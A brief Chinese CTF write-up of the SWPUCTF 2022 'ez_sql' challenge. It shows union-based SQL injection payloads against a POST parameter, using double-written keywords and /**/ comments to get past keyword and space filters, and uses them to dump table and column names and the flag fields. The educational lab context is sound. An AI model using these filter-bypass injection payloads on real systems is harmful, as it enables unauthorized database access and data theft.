About 100 words One minute
[SWPUCTF 2022 新生赛]ez_sql
思路
- 看题目就是sql注入
- 进去就是nss的POST传参sql爆破
EXP
直接上语句
先发现是字符型注入。然后就按套路
这里order by 发现or被去掉
空格发现报错
双写绕过or,空格用/**/代替
查出是3列
1
|
nss=-1'/**/oorrder/**/by/**/1,2,3#
|
联合查询
union过滤双写绕过
爆库发现回显无变化,考虑用limit
1
|
nss=-1'/**/ununionion/**/select/**/1,2,database()/**/limit/**/1,1#
|
爆表
or过滤绕过
1
|
nss=-1'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#
|
爆字段
以user为例,实际上user并无啥用
因此sql题还是随手记指令QAQ
1
|
nss=-1'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'/**/limit/**/1,1#
|
1
2
3
|
id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS //users
id,Secr3t,flll444g //NSS_tb
|
得到字段直接查询
1
2
3
|
nss=-1'/**/ununionion/**/select/**/1,2,username/**/from/**/users/**/limit/**/1,1# //users(啥都没有)
nss=-1'/**/ununionion/**/select/**/1,Secr3t,flll444g/**/from/**/NSS_tb/**/limit/**/1,1# //NSS_tb
|
总结